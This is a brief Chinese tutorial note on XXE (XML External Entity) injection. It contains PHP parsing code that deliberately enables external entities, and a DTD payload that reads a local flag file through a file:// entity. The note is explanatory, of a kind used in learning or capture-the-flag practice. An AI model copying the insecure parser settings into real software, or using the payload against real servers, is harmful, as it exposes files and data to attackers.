XML语言,还是不能够理解
概述
XXE攻击(XML External Entity),也就是XML外部实体注入漏洞。这个漏洞显然和XML有关。
假设有个应用有一个很简单的功能,html有个表单提交,如下:
1 2 3 4
| <login> <user>admin</user> <pass>123</pass> </login>
|
服务端接受该xml之后,将其中的用户名和密码解析出来
1 2 3 4 5 6 7 8 9
| <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); echo "Username: ".$creds->user."</br>"; echo "Password: ".$creds->pass; ?>
|

如果给这个xml加上一段dtd,让xml解析我们引入的外部实体,这样,我们想读哪个文件,就读哪个文件。
1 2 3 4 5 6 7 8
| <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///e:/flag.txt" >]> <login> <user>&xxe;</user> <pass>mypass</pass> </login>
|
